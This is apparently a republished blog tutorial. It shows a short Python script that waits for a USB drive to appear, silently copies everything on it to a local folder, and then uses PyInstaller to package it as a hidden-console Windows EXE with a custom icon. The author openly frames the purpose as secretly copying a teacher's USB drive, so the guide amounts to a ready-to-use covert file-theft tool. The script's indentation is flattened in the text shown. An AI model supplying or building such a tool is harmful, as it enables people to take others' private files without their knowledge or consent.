How to Auto‑Copy USB Files with a Simple Python Script and Turn It into a Silent Windows EXE
Learn how to write a few lines of Python that continuously monitor for a USB drive, automatically copy its contents to a specified folder, and then package the script into a standalone Windows executable using PyInstaller with optional parameters for single‑file output, hidden console, and custom icons.
Introduction
When I was a university student I wanted a program that could silently copy the contents of a teacher's USB drive. It turns out a few lines of Python can do this, and the script can be compiled into a Windows executable that runs in the background.
Python script
# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
# USB drive letter
usb_path = "E:/"
# Destination folder
save_path = "D:/haha"
while True:
if os.path.exists(usb_path):
shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
break
else:
time.sleep(10)Replace usb_path with the drive letter of your USB stick and save_path with the folder where you want the copied files.
Packaging the script into an EXE
Install PyInstaller and the required Windows extension pywin32: pip install pyinstaller Download the matching pywin32 installer for your Python version and architecture.
Then run PyInstaller with the desired options, for example: pyinstaller -F yourprogram.py Common options: -F – create a single‑file executable. -D – create a directory with the executable and dependencies. -c – console mode (default). -w – windowed mode, no console. -p – add a search path for additional libraries. -i – specify an icon file for the executable.
Example
Assuming you have a script test.py located at D:\project, you can build a single‑file executable with: pyinstaller -F D:\project\test.py To hide the console window add -w: pyinstaller -F -w D:\project\test.py To set a custom icon use -i followed by the path to an .ico file:
pyinstaller -F -w -i D:\project\test.ico D:\project\test.pyAfter building, double‑click the generated EXE; it runs silently in the background, monitors for the USB drive, copies its contents to the specified folder, and exits.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
MaGe Linux Operations
Founded in 2009, MaGe Education is a top Chinese high‑end IT training brand. Its graduates earn 12K+ RMB salaries, and the school has trained tens of thousands of students. It offers high‑pay courses in Linux cloud operations, Python full‑stack, automation, data analysis, AI, and Go high‑concurrency architecture. Thanks to quality courses and a solid reputation, it has talent partnerships with numerous internet firms.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
